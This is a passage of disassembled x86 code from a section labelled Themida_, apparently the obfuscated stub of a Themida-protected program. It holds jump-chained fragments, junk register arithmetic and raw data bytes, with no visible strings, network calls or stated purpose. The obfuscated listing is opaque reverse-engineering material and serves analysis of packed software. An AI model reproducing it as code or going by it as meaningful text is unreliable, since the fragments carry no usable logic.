		sub	edi, 294F2F35h
		add	edi, esi
		add	edi, 294F2F35h
		jmp	loc_5462B9
; ---------------------------------------------------------------------------
		dd 0F043E952h, 0FEB3FFFFh, 399D6866h, 241C8966h, 662414F6h
		dd 0E5EB805Bh, 41E9D828h, 68000044h, 3B74h, 89243489h
		dd 0F465E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54528E:				; CODE XREF: Themida_:0054EBD8j
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, 38h
		add	ebx, edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5450DD
; ---------------------------------------------------------------------------


loc_5452A8:				; CODE XREF: Themida_:00549A3Fj
		pop	ecx
		add	eax, edi
		sub	eax, 0B791B3Ah
		push	78B2h
		mov	[esp], edx
		mov	edx, 0
		sub	edx, 256B076Fh
		jmp	loc_54CC7D
; ---------------------------------------------------------------------------
		dd 875EF201h, 248B2414h, 24048F24h, 4DEEE9h, 0E8BD5500h
		dd 81510D51h, 1700BBF5h, 2E5C125h, 0FFFA4DE9h, 24248BFFh
		dd 9C240CD2h, 0FFDE6CE9h, 241433FFh, 2924248Bh,	0E99C2404h
		dd 0FFFFDE5Dh, 2BFh, 75C38100h,	0E90E747Ch, 428Fh, 4177B850h
		dd 0C781D421h, 2F0C7697h, 5C23C781h, 0C7295BD6h, 5C23EF81h
		dd 0B9515BD6h, 2F0C7697h, 9761E9h
		db 0
; ---------------------------------------------------------------------------


loc_54533D:				; CODE XREF: Themida_:0054768Bj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_54D827
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 917054BDh
dword_545350	dd 0E9EA0939h, 0FFFFEAA2h ; DATA XREF: ___:off_43CCB4o
; ---------------------------------------------------------------------------


loc_545358:				; CODE XREF: Themida_:005434E3j
		and	ebx, 5622351Ch
		inc	ebx
		add	ebx, 0FFFFDC03h
		add	ecx, ebx
		pop	ebx
		jmp	loc_54CF1A
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0CBh
		dd 4A1CEB81h, 87594B14h, 248B241Ch, 4C48324h, 0E99CC83Bh
		dd 0FFFFDDDDh
; ---------------------------------------------------------------------------


loc_545388:				; CODE XREF: Themida_:00546822j
		mov	edi, 4
		jmp	loc_54A315
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0D35705C5h, 5DE931E4h, 0FF5A515Eh, 9EE92434h, 2900001Eh
		dd 760FE9D7h, 0EC830000h, 241C8904h, 293A68h, 24348900h
		dd 6279E9h
		db 0
; ---------------------------------------------------------------------------


loc_5453C1:				; CODE XREF: Themida_:0054DC08j
		inc	esi
		and	esi, 2ED418B2h
		push	edi
		mov	edi, 68366574h
		shr	edi, 3
		not	edi
		add	edi, 4CEC952Ah
		xor	esi, edi
		jmp	loc_548776
; ---------------------------------------------------------------------------
		dd 0AF046FBFh, 0C2EE8115h, 0E97CB33Dh, 1582h, 80C1FE58h
		dd 0D9F6C3C1h, 726CE9h,	0C6015F00h, 24343358h, 0E9243431h
		dd 9B4Bh
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54674D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4C681h, 0C6810000h, 4, 8B243487h, 0EB812424h, 10395B4Ch
		dd 6624E9h, 4C68100h, 81000000h, 4C6h, 63E95600h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545447:				; CODE XREF: Themida_:00547903j
		mov	[esp], edx
		mov	edx, 4FFB499Ch
		and	edi, edx
		pop	edx
		jmp	loc_54A2BA
; ---------------------------------------------------------------------------


loc_545457:				; CODE XREF: Themida_:00543EC9j
		add	eax, 4
		jmp	loc_545CF6
; ---------------------------------------------------------------------------
		db 68h,	2Ch, 66h
		dd 1C890000h, 2F4E924h,	0EF810000h, 189E7A29h, 0C781CF01h
		dd 189E7A29h, 0A053E9h,	4C78300h, 5C243C87h, 5A7668h, 241C8900h
		dd 0C381E389h, 4, 4EC81h, 3C890000h, 4CF5BF24h,	62E94972h
		dd 4EFFFFFBh, 3653CE81h, 0EB684E18h, 89000029h,	0EEBA2414h
		dd 0C14AED65h, 19E907E2h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5454C7:				; CODE XREF: Themida_:005464DBj
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		shr	ecx, 2
		jmp	loc_543652
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFFBEEh, 4C381h, 0C3830000h, 241C8704h, 59C6E95Ch
		dd 0C890000h, 0C7885324h, 770CE9h, 0A3BA5200h, 5469570h
		dd 71AE7086h, 13E9D029h, 8BFFFFF6h, 89572404h, 4EC81E7h
		dd 89000000h, 4BE2434h,	1000000h, 95D0E9F7h, 3C8B0000h
		dd 4C48324h, 4C781h, 0EF810000h, 4, 2187E9h
		db 0
; ---------------------------------------------------------------------------


loc_54553D:				; CODE XREF: Themida_:0054D321j
		push	31EEh
		mov	[esp], ecx
		mov	ecx, 2
		add	eax, ecx
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5479EA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C483242Ch, 4285E904h, 0F6800000h, 68DEF6E9h
		dd 277Dh, 51240489h, 83E986B5h,	81000029h, 4C7h, 2BB5300h
		dd 56000000h, 164BD55h,	0DDF752FCh, 0BE56D5F7h,	325760B1h
		dd 0F681DEF7h, 611B3A33h, 4DFDEE81h, 0BCE94646h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5455AB:				; CODE XREF: Themida_:00545721j
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		push	1965h
		mov	[esp], ebp
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_54ADD9
; ---------------------------------------------------------------------------


loc_5455C4:				; CODE XREF: Themida_:0054827Cj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_54A6E1
; ---------------------------------------------------------------------------
		dw 0FC68h
a_Soa		db '_"o',0
		align 4
		dd 0B8588C2Dh, 1FBE5605h, 0E917CE78h, 0FFFFF1F3h, 0E9242489h
		dd 8ACEh, 52CAF581h, 0EA0172AFh, 4C24E95Dh, 48B0000h, 0E9545324h
		dd 5926h, 0E92434FFh, 0ABFh, 0F2E9DE29h, 5200002Eh, 8904EC83h
		dd 0FB7241Ch, 0FA28E0B2h, 0E4C2805Bh, 87B35366h, 5B66DA08h
		dd 4EC81h, 0C890000h, 80F0B524h, 0EA08C6C5h, 80C2FE59h
		dd 0B62C74EAh, 0B604D000h, 3595E9h
		db 0
; ---------------------------------------------------------------------------


loc_545655:				; CODE XREF: Themida_:0054D11Ej
		push	eax
		mov	eax, 0DD019D3Dh
		jmp	loc_548DA8
; ---------------------------------------------------------------------------


loc_545660:				; CODE XREF: Themida_:00547A38j
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 67AE3975h
		shr	ebx, 3
		shl	ebx, 3
		and	ebx, 12463B46h
		add	ebx, 0FDF9C6C4h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_543F12
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 32672CEBh, 0FFF182E9h, 2235B9FFh, 81493575h,	0E227DAE1h
		dd 14F1814Ah, 0E9006022h, 0FFFFE2BDh, 157717BBh, 3EBC10Fh
		dd 0EFE2F381h, 1CE90162h, 6600001Bh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_546B27
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 5624048Bh,	0B951E689h, 4, 71E9CE01h, 0BE000060h
		dd 4, 835EF001h, 43304C0h, 24043124h, 0E9240433h, 0AC8h
		dd 5BDE8966h, 81664666h, 66E4D1C6h, 0E2E9F001h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54571B:				; CODE XREF: Themida_:0054B225j
		push	edi
		mov	edi, 4
		jmp	loc_5455AB
; ---------------------------------------------------------------------------
		dw 0F109h
		dd 81D9F75Eh, 9E5A4DF1h, 1C9EE946h, 0C4810000h,	4, 8B24048Fh
		dd 0E1F62424h, 0CCB60F66h, 52E18951h, 0CE73FABAh, 6A6FE97Ah
		dd 51AD0000h, 276E15B9h, 737CE901h, 74FF0000h, 1C8B0424h
		dd 4EC8324h, 0E9241489h, 3DA2h,	3076EB81h, 0EB8138A3h
		dd 0E747C75h, 4EC815Fh,	89000000h, 20E9241Ch, 81000043h
		dd 133908E3h, 81D3F77Ch, 6C88DAF3h, 5BDF29ACh, 875FFA29h
		dd 0F9E92414h, 83000090h, 8F042404h, 4812404h, 424h, 418DE900h
		dd 6B90000h, 0F77E150Eh, 31E931D9h, 0F7E931CDh,	595551DDh
		dd 4052E9h, 24043300h, 33240431h, 26E92404h, 8000002Eh
		dd 0F828F4C7h, 83241C8Bh, 9C2C04C4h, 9C04D828h,	711D6866h
		dd 241C8966h, 0D800C9B3h, 0EC815B66h, 4, 9B99E9h, 0BB534700h
		dd 5F867C86h, 74E94B4Bh, 5DFFFFFFh, 9905E801h, 8B4B843Dh
		dd 99E9242Ch
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54582B:				; CODE XREF: Themida_:0054722Aj
		push	ebx
		mov	ebx, 5E74670Dh
		or	ebx, 73F85B2Ah
		inc	ebx
		push	ebp
		mov	ebp, 4E063857h
		jmp	loc_549421
; ---------------------------------------------------------------------------


loc_545843:				; CODE XREF: Themida_:0054E24Fj
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_54DA8F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2C8BEF31h, 5E545624h, 4C681h, 0C6830000h, 24348704h
		dd 8BF8015Ch, 0C483243Ch, 698AE904h, 89500000h,	405E0h
		dd 0BD550000h, 4, 875DE801h, 815C2404h,	2C3h, 241C8700h
		dd 0FFCE95Ch, 9D680000h, 89000049h, 5655243Ch, 58DEE952h
		dd 48F0000h, 0F3815B24h, 61ECDAFFh, 0FFD890E9h,	4EC83FFh
		dd 24048F54h, 4240481h,	5D000000h, 4C581h, 0EC810000h
		dd 4, 0B8240489h, 13652F67h, 9AD09D05h,	58C501ECh, 3F7E9h
		dd 0EE8100h, 292B1254h,	0C681EEh, 892B1254h, 0BF575EF5h
		dd 75BF4042h, 0ACE9FD01h, 8B000005h, 0C4812404h, 4, 15EF301h
		dd 4CE95BD8h, 5C000050h, 24D1E9h, 24043000h, 0D81FE99Ch
		dd 0FD00FFFFh, 0EA805B66h, 0DBC280D2h, 0FFF49BE9h, 72EE81FFh
		dd 5A74B856h, 0E904C683h, 3F42h, 243C8B54h, 4C7CE9h, 24343100h
		dd 5C243433h, 9C2424D2h, 0FFD7E8E9h, 243C8BFFh,	5104C483h
		dd 2B9h, 59C80100h, 31B7E9h, 47E95800h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545997:				; CODE XREF: Themida_:0054A73Cj
		mov	ebx, [esp]
		jmp	loc_54834B
; ---------------------------------------------------------------------------
		db 68h
		dd 0C21h, 149BE9h, 242C8900h, 3866E9h
		db 0
; ---------------------------------------------------------------------------


loc_5459B1:				; CODE XREF: Themida_:00545F8Ej
		dec	eax
		jmp	loc_545B87
; ---------------------------------------------------------------------------
		db 87h
		dd 87D1F7CDh, 0C1DDF7CDh, 0BA5203EDh, 185F335Ah, 5D02E9h
		dd 243C8900h, 4BB53h, 0DF890000h, 6102D5Bh, 0F8015580h
		dd 6C55E9h
		db 0
; ---------------------------------------------------------------------------


loc_5459E5:				; CODE XREF: Themida_:00546DB7j
		xor	ecx, 665970E1h
		add	edi, 2D6414A5h
		add	edi, 4F447449h
		jmp	loc_5443BD
; ---------------------------------------------------------------------------
		dd 9FC3B850h, 0C631F44Eh, 0FFFF1AE9h, 384281FFh, 7A4B08CAh
		dd 97384281h, 834E56A5h, 1C8904ECh, 306824h, 15B0000h
		dd 4EC83D3h, 52240489h,	4473E9h, 24148700h, 5724248Bh
		dd 63D2E9h, 3E21BE00h, 7401485Dh, 8B5E0824h, 0C481240Ch
		dd 4, 840BE958h, 0C5830000h, 242C8704h,	0FFF9B6E9h, 0BBEF81FFh
		dd 16B7F7Bh, 0BB535FF9h, 4, 0E95BD901h,	675Ah, 6824348Bh
		dd 29E9h, 15B2E9h, 81E58900h, 4C5h, 0E6895600h,	4C681h
		dd 0EE810000h, 4, 2474FF56h, 48F5E04h, 3C895C24h, 4BF24h
		dd 0FD010000h, 0FFDE88E9h, 243C31FFh, 0FFE0AAE9h, 247C01FFh
		dd 48F5F04h, 24048324h,	24348B04h, 4C481h, 9FE90000h, 5C00004Ch
		dd 2C16E9h
		db 0
; ---------------------------------------------------------------------------


loc_545ADD:				; CODE XREF: Themida_:0054CD76j
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		push	1
		push	dword ptr [esp]
		pop	eax
		push	502Ch
		mov	[esp], edx
		jmp	loc_54B6E4
; ---------------------------------------------------------------------------
		db 68h,	0D3h, 7
		dd 4890000h, 5E08924h, 4, 0E904E883h, 0FFFFE2FFh, 0ED8E981h
		dd 0C1293EFBh, 0ED8C181h, 0C1813EFBh, 5B2450Bh,	6CEBF57h
		dd 20E92BA8h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545B33:				; CODE XREF: Themida_:0054D1E3j
		pop	ecx
		push	edx
		push	bx
		mov	bl, 0D4h
		mov	dh, bl
		pop	bx
		add	dh, 1
		and	dh, 8Fh
		jmp	loc_547477
; ---------------------------------------------------------------------------
aXsi		db 'XI',7,0
		align 2
		dw 0C601h
		dd 582434FFh, 4C481h, 34870000h, 68B7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545B62:				; CODE XREF: Themida_:0054D9D3j
		push	ebx
		push	edi
		mov	edi, 3A145A48h
		shr	edi, 1
		shl	edi, 4
		not	edi
		xor	edi, 2F5D2DBDh
		mov	ebx, edi
		pop	edi
		push	ebx
		jmp	loc_54A8D1
; ---------------------------------------------------------------------------


loc_545B7F:				; CODE XREF: Themida_:005447DAj
		xor	dh, 21h
		jmp	loc_5487E4
; ---------------------------------------------------------------------------


loc_545B87:				; CODE XREF: Themida_:005459B2j
		and	eax, 2DD217EBh
		jmp	loc_5448A5
; ---------------------------------------------------------------------------


loc_545B91:				; CODE XREF: Themida_:005469FEj
		pop	eax
		pop	ebx
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_54A50D
; ---------------------------------------------------------------------------
		dd 4B8h, 7FC28100h, 14EBA39h, 7FEA81C2h, 584EBA39h, 1986E9h
		dd 0C1FE5B00h, 0E906E9C0h, 31DFh, 0FF2434FFh, 55592434h
		dd 0EC815D54h, 4, 0E9241489h, 9203h
; ---------------------------------------------------------------------------


loc_545BD8:				; CODE XREF: Themida_:005443D5j
		xchg	edi, [esp]
		jmp	loc_544844
; ---------------------------------------------------------------------------
aLFhd_ssg	db '$$fh_S',0
		align 4
		dd 0E9028F66h, 0FFFFD571h
; ---------------------------------------------------------------------------


loc_545BF4:				; CODE XREF: Themida_:00549138j
		pop	esi
		push	ecx
		mov	ecx, 6C9B68DAh
		sub	ecx, 40596C6Fh
		push	edx
		jmp	loc_54E4A1
; ---------------------------------------------------------------------------
		db 59h
		dd 5C50C681h, 0C6011160h, 5C50BA52h, 0D6291160h, 28C6815Ah
		dd 515D3A63h, 0FFFB99E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_545C25:				; CODE XREF: Themida_:0054B1F0j
		neg	edx
		jmp	loc_543BE6
; ---------------------------------------------------------------------------
		dd 0FF241C89h, 6CE92434h, 5000078h, 181C0295h, 6D4AE9h
		dd 3BE4BE00h, 0F7210B49h, 44E7815Eh, 817CDE3Ah,	31FCEFh
		dd 5FFD0100h, 0E9242C87h, 2E0Fh
; ---------------------------------------------------------------------------


loc_545C60:				; CODE XREF: Themida_:00546A11j
		mov	dh, cl
		pop	ecx
		pop	eax
		pop	ebx
		jmp	loc_544FEF
; ---------------------------------------------------------------------------


loc_545C6A:				; CODE XREF: Themida_:00544D94j
		push	edi
		push	esi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	esi
		pop	esi
		add	edi, 100166Eh
		jmp	loc_54DE05
; ---------------------------------------------------------------------------
		dd 89241489h, 4C281E2h,	83000000h, 83E904C2h, 0BBFFFFD8h
		dd 4, 9E9D901h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545C9F:				; CODE XREF: Themida_:0054E623j
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_544772
; ---------------------------------------------------------------------------
		dd 0E9241C89h, 0FFFFDD0Dh, 0FF2434FFh, 0DDE92434h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545CBF:				; CODE XREF: Themida_:00546EF4j
		pop	esi


loc_545CC0:				; CODE XREF: Themida_:loc_548C7Aj
					; Themida_:0054A835j
		push	dword ptr [esp]
		jmp	loc_546818
; ---------------------------------------------------------------------------
		dd 0F180E9D0h, 6AC6E9CCh, 0E95A0000h, 75FDh
; ---------------------------------------------------------------------------


loc_545CD8:				; CODE XREF: Themida_:0054A40Bj
		push	ecx
		jmp	loc_54DCB4
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 34FF0424h, 2434FF24h, 4C48158h, 52000000h, 7BE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_545CF6:				; CODE XREF: Themida_:0054545Cj
		push	eax
		jmp	loc_54E24B
; ---------------------------------------------------------------------------
		dd 31242C33h, 2C33242Ch, 24248B24h, 68C8B60Fh, 620Bh, 0E9240C89h
		dd 0FFFFD44Dh, 1930CBBDh, 0E9EF894Ah, 0C31h
; ---------------------------------------------------------------------------


loc_545D24:				; CODE XREF: Themida_:00546B57j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54F1C2
; ---------------------------------------------------------------------------
		dd 0E981F901h, 0D1224E0h, 3EAE9h, 6E0C100h, 7653BB53h
		dd 0DBF721BFh, 0E904EBC1h, 21E9h, 0EE6BCFB9h, 59CD0165h
		dd 0A8F5815Eh, 89757812h, 2434FFE8h, 4C4835Dh, 0FFD3F4E9h
		dd 0BF575AFFh, 3CBE2DF4h, 0FFE7C3E9h, 2A00BAFFh, 0D0897862h
		dd 4EC815Ah, 89000000h,	32E9242Ch, 66000028h, 9C243CD3h
		dd 0FFD3C8E9h, 8B6664FFh, 0E9545202h, 0FFFFE073h
; ---------------------------------------------------------------------------


loc_545DA8:				; CODE XREF: Themida_:005439BCj
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_54A96D
; ---------------------------------------------------------------------------


loc_545DBB:				; CODE XREF: Themida_:0054AFD1j
		add	eax, 741A4999h
		sub	edx, eax
		pop	eax
		add	edx, edi
		jmp	loc_5476A9
; ---------------------------------------------------------------------------
		dw 8951h
		dd 97B850E1h, 0C1273D34h, 0D0F706E0h, 2A27E948h, 0BE560000h
		dd 4, 1EB1E9h
		db 0
; ---------------------------------------------------------------------------


loc_545DE9:				; CODE XREF: Themida_:005445A2j
		mov	ebx, [esp]
		add	esp, 4


loc_545DEF:				; CODE XREF: Themida_:00544EDFj
		sub	esp, 4
		jmp	loc_54BBB4
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 301D6E56h, 111E68h, 243C8900h, 0FFD7BDE9h, 97EB81FFh
		dd 0E9392407h, 1EA0h, 0E9E68956h, 0E56h, 5FB9CF81h, 0C7812DB7h
		dd 4E794480h, 153BE56h,	93E94F6Eh, 68000025h, 2977h, 0FF241C89h
		dd 5B042474h, 8B24048Fh, 0FF662424h, 0E99C240Ch, 0FFFFD311h
; ---------------------------------------------------------------------------


loc_545E54:				; CODE XREF: Themida_:00545001j
		add	edx, edi
		mov	[edx], bl
		pop	edx
		jmp	loc_5437D4
; ---------------------------------------------------------------------------


loc_545E5E:				; CODE XREF: Themida_:005474E6j
		pop	eax
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_54D5E0
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 6
		dd 8FFFFFE8h, 248B2404h, 0E9F76624h, 47936866h,	24148966h
		dd 1F7BE9h, 0BBED8100h,	16F5C5Fh, 0E9505DE9h, 300Ah
; ---------------------------------------------------------------------------


loc_545E94:				; CODE XREF: Themida_:005465B0j
		sub	ebp, 1C085303h
		jmp	loc_54B2E4
; ---------------------------------------------------------------------------
		db 50h
		dd 0C12839B0h, 0FFF547E9h, 5EF029FFh, 4E7EB951h, 0C83138A0h
		dd 0B9514859h, 0DC77F72Eh, 159C801h, 24048BC3h,	4C481h
		dd 96E90000h, 5FFFFFD2h, 4A5BED81h, 0BDE909DCh,	8100007Dh
		dd 556ECBEBh, 0C3295802h, 7256C381h, 8F660DB2h,	0D273E900h
		dd 38BDFFFFh, 16C5259h,	0F3815DEBh, 7A0F2EE3h, 10CBE9h
		dd 0FA316600h, 66D73166h, 5566EA87h, 5D665066h,	0F7665866h
		dd 0E99566D0h, 3C8h, 240C8B66h,	22BD68h, 24048900h, 405E089h
		dd 53000000h, 0C381E389h, 4, 0E904EB83h, 8310h,	29DDF381h
		dd 0F381203Fh, 2C78712Ah, 7B4768h, 24148900h, 2E5D61BAh
		dd 0D359E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_545F62:				; CODE XREF: Themida_:0054C282j
		xchg	ebp, [esp]
		jmp	loc_54712B
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 2E2C105h, 3BDDEA81h,	0C28162F3h, 56FC58E5h, 43A6BD55h
		dd 0E5C124C4h, 9AE95302h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_545F8B:				; CODE XREF: Themida_:0054D95Dj
		sub	eax, ecx
		pop	ecx
		jmp	loc_5459B1
; ---------------------------------------------------------------------------


loc_545F93:				; CODE XREF: Themida_:00546CC4j
		mov	si, 5D06h
		sub	si, 33EFh
		jmp	loc_54B59D
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 0E9240C8Bh, 1360h, 46DDC281h, 95E92057h, 87FFFFDCh
		dd 525C2434h, 43BAE9h, 1249BB00h, 66E977D2h, 0FE000084h
		dd 0F6CFFEC7h, 0B65250D7h, 4C2B0B0h, 2CF02896h,	65B0E996h
		dd 5B540000h, 4C381h, 3BE90000h, 8900002Ch, 25E959CDh
		dd 0E9FFFFDBh, 0FFFFD169h, 24048B66h, 830E950h,	68590000h
		dd 1C5Ch, 68241C89h, 4EA0h, 51240489h, 64454FB9h, 0E16BE948h
		dd 0F089FFFFh, 0E9485D5Eh, 2Bh,	0C281E289h, 4, 4C281h
		dd 14870000h, 0A0355C24h, 5B40636Ah, 0FBE68h, 240C8900h
		dd 4EC81h, 4DE90000h, 5000006Dh, 0F7243C87h, 243C87D7h
		dd 51D0F758h, 720C7CB9h, 0D9F7414Dh, 0D7C18149h, 0E91C47F3h
		dd 1318h, 8F04C483h, 248B2404h,	4216624h, 0DAE99C24h, 87FFFFD0h
		dd 7EE9243Ch, 5B000054h, 4E981h, 0C870000h, 14895C24h
		dd 0D1B8E924h, 0C87FFFFh, 0E9525C24h, 0FFFFE373h
; ---------------------------------------------------------------------------


loc_5460B0:				; CODE XREF: Themida_:0054BDD6j
		mov	ebx, 2A27077Bh
		mov	edx, ebx
		pop	ebx
		xor	edx, 126B6F13h
		jmp	loc_54DC00
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD09Dh
; ---------------------------------------------------------------------------


loc_5460C8:				; CODE XREF: Themida_:0054C6E0j
		push	ebx
		push	5B5Ch
		jmp	loc_5443DA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4EC8350h, 81242489h,	42404h,	5580000h, 4, 0E1E95051h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5460EF:				; CODE XREF: Themida_:0054C622j
		sub	ebx, 29D45D0Eh
		add	ebx, 354D38D6h
		add	ebx, eax
		push	1FE9h
		jmp	loc_54D9D8
; ---------------------------------------------------------------------------
		db 81h
		dd 0B4AC87F5h, 5DEA310Dh, 0E95AD189h, 0FFFFE8C8h, 2E3BF381h
		dd 0DA8977CBh, 80A685Bh, 1EE90000h, 5FFFFFF2h, 8124048Bh
		dd 4C4h, 74FF5100h, 8F590424h, 665C2404h, 0E9240489h, 0FFFFD01Dh
		dd 5F1802BFh, 0E9F80179h, 74CBh, 6824048Bh, 58F1h, 89241C89h
		dd 0CC1E9E3h, 0D3F70000h, 5E241C87h, 20F0F681h,	0A8E96781h
		dd 5000004Fh, 8BCCE9h, 0E9F83100h, 2264h, 0C8BEF30h, 4C48124h
		dd 30000000h, 515259EFh, 27B263B1h, 50B5E9h, 47876800h
		dd 3C890000h, 0EBDE924h, 0E2D00000h, 0CCE9EAD0h, 89000054h
		dd 4C581E5h, 57000000h,	19F4E9h, 66E68800h, 53C6FE58h
		dd 0E940B652h, 0FFFFECB9h, 4316685Ch, 14890000h, 4315E924h
		dd 0E8280000h, 8B665966h, 0CAE9241Ch, 5B00006Bh, 4F28BF57h
		dd 16E90F91h, 5DFFFFF6h, 81242C8Bh, 4C4h, 0CF5FE900h, 8B66FFFFh
		dd 89562404h, 6712E9E6h, 0C330000h, 0A5F35C24h,	0E9386203h
		dd 0FFFFE840h, 0C3805A58h, 5BD9889Fh, 0D059CA88h, 80DAF6E2h
		dd 0C2FE2AC2h, 2831C280h, 2434FFD0h, 8324148Bh,	0C48304C4h
		dd 4EC8104h, 89000000h,	0CE92414h, 0F00008Fh, 34FFC0B6h
		dd 26BA5287h, 0F7600A60h, 0E2C142D2h, 0ECC28104h, 553F6B75h
		dd 499CE9h, 0EAEE8100h,	8174D078h, 7705C2CEh, 0C1D6F73Bh
		dd 31E903E6h, 27h, 3BE959EBh, 8900008Fh, 6DE92414h, 8F000004h
		dd 83582404h, 6AE904ECh, 0B9000079h, 315A2077h,	5759CE01h
		dd 0F4323FBFh, 5FFE2133h, 37A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5462B9:				; CODE XREF: Themida_:0054525Bj
		pop	esi
		add	edx, edi
		pop	edi
		jmp	loc_5474DE
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 58042474h, 5C24048Fh, 9C240CD3h, 0FFCE90E9h,	0C6E981FFh
		dd 522F347Dh, 0DB7D54BAh, 0E9554263h, 1C70h, 2848E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5462EE:				; CODE XREF: Themida_:00546B28j
		push	eax
		jmp	loc_54ADB8
; ---------------------------------------------------------------------------
		dd 121156BEh, 38F68152h, 1100250h, 0C2015EF2h, 416EEA81h
		dd 37E94210h, 29000033h, 0F8F1E9CEh, 8B66FFFFh,	8950240Ch
		dd 4518E9E0h, 34890000h, 4BE24h, 0F0010000h, 4EC815Eh
		dd 89000000h, 38E9243Ch, 5D00001Dh, 0FFF8295Dh,	835F2434h
		dd 0D96804C4h, 8900006Fh, 88BE2434h, 51F0035h, 614215CBh
		dd 7D7A262Dh, 5F02921h,	217D7A26h, 4215CB2Dh, 24348B61h
		dd 34FF5456h, 5519E924h, 0EAE90000h, 5FFFFCDh, 18CC13F8h
		dd 0F82DD801h, 518CC13h, 5C72146Ah, 83241C8Bh, 0DC6804C4h
		dd 0E9000012h, 2002h, 0C1815954h, 4, 4C181h, 0E1E90000h
		dd 81000012h, 42404h, 815D0000h, 4C5h, 0E34CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5463C2:				; CODE XREF: Themida_:0054943Cj
		push	esi
		mov	esi, 5BD91D19h
		neg	esi
		shl	esi, 8
		jmp	loc_549BAD
; ---------------------------------------------------------------------------


loc_5463D2:				; CODE XREF: Themida_:0054821Aj
		mov	bl, cl
		not	bl
		mov	cl, bl
		pop	ebx
		jmp	loc_547C03
; ---------------------------------------------------------------------------


loc_5463DE:				; CODE XREF: Themida_:0054BE0Aj
		mov	[esp], ecx
		jmp	loc_54708B
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0BA525C24h, 4, 148BD301h, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 3007E9h, 240C8700h, 0E323E95Ch, 6850FFFFh
		dd 5FF4h, 0E9242489h, 1C8Fh, 0E9D830ACh, 3BEAh,	0D15FE956h
		dd 0FF56FFFFh, 5E042474h, 8B24048Fh, 0D3662424h, 0E99C2404h
		dd 0FFFFCD1Dh, 8DC0B60Fh, 19688704h, 89000071h,	0AE92404h
		dd 5FFFFFCDh, 8955E9h, 0EC83AD00h, 243C8904h, 3C4E9ABFh
		dd 0D3C9E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546472:				; CODE XREF: Themida_:0054F324j
		mov	[esp], edx
		push	eax
		jmp	loc_54C9F7
; ---------------------------------------------------------------------------
		db 31h
		dd 240C8BCDh, 2A35E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546486:				; CODE XREF: Themida_:00548C02j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ax
		mov	ah, 89h
		jmp	loc_5494A2
; ---------------------------------------------------------------------------


loc_546499:				; CODE XREF: Themida_:0054A68Aj
		shr	ecx, 3
